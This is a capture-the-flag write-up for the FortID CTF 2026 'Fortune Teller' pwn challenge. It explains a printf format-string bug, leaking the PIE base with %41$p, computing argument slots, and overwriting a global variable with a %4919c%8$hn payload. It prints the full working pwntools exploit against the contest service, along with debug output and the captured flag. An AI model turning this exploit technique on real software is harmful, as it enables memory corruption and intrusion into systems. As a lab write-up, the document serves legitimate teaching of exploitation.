Writeup on FortID CTF 2026:
Pwn / Fortune Teller

Author: Hubert Feyrer / hubertf, 2026-10-11


Contents

0. Challenge description

Fortune Teller

The oracle will answer any question, but it may reveal more than it should.

Connect to the service and recover the flag.

Files provided: Protections: Full RELRO, stack canary, NX, PIE.

1. Download

Three files, one of them the C source - so no reversing is needed to find the bug.

$ ls -l
-rw-r--r--@ 1 feyrer  staff    254 Oct  8 12:00 README.md
-rw-r--r--@ 1 feyrer  staff   1928 Oct  8 12:00 chall.c
-rwxr-xr-x@ 1 feyrer  staff  16760 Oct  8 12:00 fortune

$ file fortune
fortune: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=410430c337251947da0320ec082afd0b12828c42, for GNU/Linux 3.2.0, not stripped

2. Docker/nc - what we get

A per-team instance, reachable over TLS - plain nc will not do, the client has to wrap the connection:

$ ncat --ssl fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com 1337
=== Fortune Teller ===

1. Ask the oracle
2. Receive blessing
3. Leave
> 2
You are not blessed yet. Current blessing: 0x0

1. Ask the oracle
2. Receive blessing
3. Leave
> 3
The future fades away...

Option 2 is the win condition and it reports the current value of the counter, which is a convenient oracle for checking whether a write landed. The menu loops, so the format string bug can be used as often as needed - leak first, write second.

3. Analysis steps

3.1 Read the source, confirm the protections (success)

The handout ships chall.c, so the first look goes there rather than into a disassembler.

volatile unsigned int blessing = 0;

static void ask_oracle(void) {
    char question[256];

    puts("Ask the oracle anything:");
    printf("> ");
    fflush(stdout);

    read_line(question, sizeof(question));

    puts("The oracle speaks:");
    printf(question);                       /* <-- the bug */
    putchar('\n');
}

static void receive_blessing(void) {
    if (blessing == 0x1337) {
        puts("The stars are aligned.");
        win();
    } else {
        printf("You are not blessed yet. Current blessing: 0x%x\n", blessing);
    }
}

printf(question) with user-controlled question is a textbook format string vulnerability. The protections confirm what it has to be used for:

$ pwn checksec fortune
[*] '/Users/feyrer/Desktop/FortID-CTF2026/pwn-FortuneTeller/fortune_teller_public/fortune'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Conclusion: no shellcode (NX), no GOT overwrite (Full RELRO), no return address games worth the trouble (canary plus Shadow Stack and Indirect Branch Tracking). But none of that is needed: blessing is an ordinary writable global, and receive_blessing() calls win() for us. Two things are required - the runtime address of blessing (PIE), and a write primitive.

3.2 Leak the base with %p (success)

%p prints whatever happens to sit in printf's argument slots. Walking the slots until something looks like a code pointer gives the PIE base.

$ ( echo 1; echo '%33$p' ) | ./fortune
=== Fortune Teller ===

1. Ask the oracle
2. Receive blessing
3. Leave
> Ask the oracle anything:
> The oracle speaks:
0x55561e1bcd68

Repeat it to see that the value moves with Address Space Layout Randomization (ASLR) and keeps its shape:

$ for i in  $(seq 10) ; do ( echo 1; echo '%33$p' ) | ./fortune  | grep 0x ; done
0x559862ecdd68
0x55addda03d68
0x5556244b7d68
0x55fabea8fd68
0x55e52097dd68
0x55e0e4396d68
0x55cd79cfdd68
0x55d4de365d68
0x55a936304d68
0x55cac5ecad68

Pin the offset down under the debugger:

$ gdb -q -batch -ex 'start' -ex 'info proc map' ./fortune
Temporary breakpoint 1, 0x000055555555557c in main ()
Mapped address spaces:

Start Addr         End Addr           Size               Offset             Perms File
0x0000555555554000 0x0000555555555000 0x1000             0x0                r--p  /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555555000 0x0000555555556000 0x1000             0x1000             r-xp  /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555556000 0x0000555555557000 0x1000             0x2000             r--p  /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555557000 0x0000555555558000 0x1000             0x2000             r--p  /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555558000 0x0000555555559000 0x1000             0x3000             rw-p  /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune

gef> print 0x555555557d68 - 0x2d68
$1 = 0x555555555000

And the instruction that reads the counter names its address outright:

 0x55555555551a <receive_blessing+001b> mov    eax, DWORD PTR [rip+0x2b2c]        # 0x55555555804c <blessing>

Conclusion: with the %33$p leak, proc_base = leak - 0x2d68 and blessing = proc_base + 0x304c. Note that proc_base here is the text page, not the ELF base - the two differ by 0x1000, which matters later in 3.7.

3.3 Find the slot that the write has to point at (success)

%n writes the number of characters emitted so far to the address in its argument slot. Nobody passes such an argument here, so printf reads it off the stack - and the stack is where our own buffer lives. The question is which slot number corresponds to the buffer.

$ objdump -d --no-show-raw-insn fortune | sed -n '/<ask_oracle>:/,/ret/p'
0000000000001457 <ask_oracle>:
    1457:      	endbr64
    145b:      	pushq	%rbp
    145c:      	movq	%rsp, %rbp
    145f:      	subq	$0x110, %rsp
    ...
    14ca:      	leaq	-0x110(%rbp), %rax
    14d1:      	movq	%rax, %rdi
    14d4:      	movl	$0x0, %eax
    14d9:      	callq	0x1140 <.plt.sec+0x40>      # printf

question sits at rbp-0x110, and because the frame is set up with a single sub $0x110, %rsp and nothing is pushed afterwards, rsp at the printf call is the same address. On the System V AMD64 ABI the first five variadic arguments come from registers and the sixth is the first stack slot - which is therefore question[0]:

slot 1..5   rsi, rdx, rcx, r8, r9
slot 6      question[ 0: 8]     <- our own input starts here
slot 7      question[ 8:16]
slot 8      question[16:24]
...
slot 39     rbp-0x08            canary      (0x110-0x08 = 0x108 = 33 qwords past the buffer)
slot 40     rbp+0x00            saved rbp
slot 41     rbp+0x08            return address into main

The symbol table gives the file offset of the target:

$ nm fortune | grep -iE "blessing|win|main|ask_oracle|receive"
000000000000404c B blessing
0000000000001570 T main
00000000000014ff t receive_blessing
00000000000012a9 t win
0000000000001457 t ask_oracle

That is everything needed to build the payload. 0x1337 is 4919 decimal, so %4919c drives the character counter to exactly the wanted value (a width in %c counts the printed character itself), and %8$hn stores it as two bytes. blessing is a 4-byte unsigned int in .bss and starts out zero, so writing only the low half is enough:

fmt     = b'%4919c%8$hn' # 0x1337 = 4919
payload = fmt.ljust(16, b'A') # align to 16 bytes
payload += p64(blessing)

Two details are load-bearing. The format string is 11 bytes, which would put the address at a non-aligned position, hence the padding to 16 - slot boundaries are 8 bytes apart, and 16 lands on slot 8. And the address has to come after the conversions: it contains null bytes, at which printf stops reading. The null bytes do reach the buffer, because read_line() only stops at a newline.

Conclusion: one menu iteration to leak, a second one to write. Works locally.

3.4 Remote: the connection just hangs (failed)

The local exploit was correct, so switching process() for remote(..., ssl=True) should have been the whole porting effort.

$ python3 3hf-remote.py DEBUG=1
[x] Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port
[+] : Done
(nothing, forever)

Probing the host by hand shows why. The name carries both an A and an AAAA record, and only one of them works - the IPv6 address accepts the TCP connection and then never completes the TLS handshake:

[IPv4] TCP ok -> 2.31.29.163            TLS ok: TLSv1.2 ECDHE-RSA-CHACHA20-POLY1305
[IPv4] banner: '=== Fortune Teller ===\n\n1. Ask the oracle\n2. Receive blessing\n3. Leave'
[IPv6] TCP ok -> 2a01:4f8:c01e:6fe::1   FAIL: timeout (handshake)

Worth noting while poking at the name: an invented hostname in the same domain resolves to the very same pair of addresses, i.e. there is a wildcard record. A name that resolves proves nothing about the instance being alive.

$ host definitely-does-not-exist-xyz123.inst15.ctf.fortid.com
definitely-does-not-exist-xyz123.inst15.ctf.fortid.com has address 2.31.29.163
definitely-does-not-exist-xyz123.inst15.ctf.fortid.com has IPv6 address 2a01:4f8:c01e:6fe::1

Conclusion: pwntools defaults to fam='any' and picks the AAAA record on a dual-stacked machine, so it hangs where ncat happened to pick IPv4 and worked. Forcing the family fixes it: remote(host, port, ssl=True, fam='ipv4').

3.5 Remote: the leak is unstable (failed)

%33$p had been rock solid across ten local runs, so it was taken as a reliable offset.

It is not. Slot 33 is 27 quadwords past the start of the buffer, i.e. 216 bytes inside question[256] itself. read_line() writes only what was typed plus a terminator, so everything behind that is stale stack data left over from earlier calls. It reproduces perfectly as long as the program takes the exact same path every time, and stops reproducing the moment anything before it differs.

Conclusion: use slot 41 instead. From the slot table in 3.3 that is ask_oracle's saved return address, a real pointer rather than garbage, and it always points just past the call site in main at 0x1664.

3.6 The leak offset and the base arithmetic belong together (failed)

Swapping %33$p for %41$p looked like a one-line change.

$ python3 3hf-remote.py
leak     = 0x55f375c96664
elf_base = 0x55f375c938fc
blessing = 0x55f375c96948
[DEBUG] Sent 0x19 bytes:
    00000000  25 34 39 31  39 63 25 38  24 68 6e 41  41 41 41 41  |%491|9c%8|$hnA|AAAA|
    00000010  48 69 c9 75  f3 55 00 00  0a                        |Hi.u|.U..|.|
[DEBUG] Received 0x393 bytes:
    b'The oracle speaks:\n'
    b'                                                     ...'
[DEBUG] Received 0xb50 bytes:
    b' ' * 0xb50
[DEBUG] Received 0x2b0 bytes:
    b' ' * 0x2b0
[DEBUG] Received 0x180 bytes:
    b' ' * 0x180
Traceback (most recent call last):
  File "3hf-remote.py", line 43, in <module>
    p.sendlineafter(b'> ', b'2')
EOFError

The two constants from 3.2 were left in place. They belong to the old leak:

Leakbasetarget
%33$pleak - 0x2d68 (text page)+ 0x304c
%41$pleak - 0x1664 (ELF base)+ 0x404c

Both pairs are individually correct and arrive at the same address - the old proc_base is just the text page, one page above the ELF base, which is why 0x304c and 0x404c differ by 0x1000. Mixing them put the write 0x2704 bytes off target, into a read-only page, and the segmentation fault surfaced as the EOFError. The debug trace shows it precisely: 4864 of the 4919 spaces had already arrived, so the counter ran fine and the process died on the store itself.

Conclusion: elf_base must end in 000. The printed 0x55f375c938fc was visibly wrong before anything was even sent - a free sanity check worth building in.

3.7 All three fixes together (success)

Conclusion: fam='ipv4', %41$p, and -0x1664/+0x404c. Flag on the first try.

4. Solution

The tested exploit, as it actually ran:

#!python3

from pwn import *

#challenge='./fortune'
remote_host='fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com'
remote_port = 1337

#p = process(challenge)
p = remote(remote_host, remote_port, ssl=True, fam='ipv4') # Hangs with IPv6 :(
print("Connected.")

# Step 1: leak ELF base
#
p.sendlineafter(b'> ', b'1')
#p.sendlineafter(b'> ', b'%33$p') # Backup: %41$p
p.sendlineafter(b'> ', b'%41$p') # Backup: %41$p
p.recvuntil(b'The oracle speaks:')
junk = p.recvline() #
leak = p.recvline().decode()
leak = int(leak.strip(), 16)
print(f"leak     = " + hex(leak))
#
#elf_base = leak - 0x2d68 # ghidra & gdb @ %33$p
elf_base = leak - 0x1664 # ghidra & gdb @ %41$p
print(f"elf_base = " + hex(elf_base))
#
#blessing = elf_base + 0x304c # gdb @ %33$p
blessing = elf_base + 0x404c # gdb @ %41$p
print(f"blessing = " + hex(blessing))


# Step 2: use format string attack to set 'blessing'
#
fmt     = b'%4919c%8$hn' # 0x1337 = 4919
payload = fmt.ljust(16, b'A') # align to 16 bytes
payload += p64(blessing)

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', payload)


# Step 3: harvest flag
#
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'The stars are aligned.')
print(p.recvall(timeout=2).decode())

5. Run it

$ python3 3hf-remote.py
[x] Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on pOpening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port
Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port [+] : Done
Connected.
leak     = 0x563e765b8664
elf_base = 0x563e765b7000
blessing = 0x563e765bb04c
[+] iving all data: Done (148B)
[*] Closed connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com port 1337

FortID{Fortun3_Fav0r5_Th3_b0ld_bu7_al50_Th05e_Th4t_C4n_Expl0i7_F0rma7_Str1ng_VulnZZ_6b462c4e6b}


1. Ask the oracle
2. Receive blessing
3. Leave
>
$

6. Summary of how the exploit works

#StageMechanism
1 Leak the ELF base %41$p prints ask_oracle's saved return address, which is always elf_base + 0x1664. Slot 41 is rbp+0x08, past the buffer, the canary and the saved rbp.
2 Locate the target blessing is at elf_base + 0x404c per nm - a writable unsigned int in .bss, so Full RELRO, NX and the canary are all irrelevant.
3 Put the target address into an argument slot question[256] sits at rbp-0x110, which equals rsp at the printf call, so the buffer is printf's first stack argument (slot 6). Padding the format string to 16 bytes places p64(blessing) in slot 8. It has to go last, because the address contains null bytes.
4 Drive the character counter to 0x1337 %4919c emits 4919 characters, and 4919 == 0x1337. The field width counts the printed character itself.
5 Write %8$hn takes slot 8 as a pointer and stores the counter there as two bytes. The upper half of the unsigned int is still zero from .bss, so blessing == 0x1337 exactly.
6 Collect Menu option 2 passes the comparison in receive_blessing(), which calls win() - and that simply prints flag.txt.

7. Visual Summary

(Click to enlarge)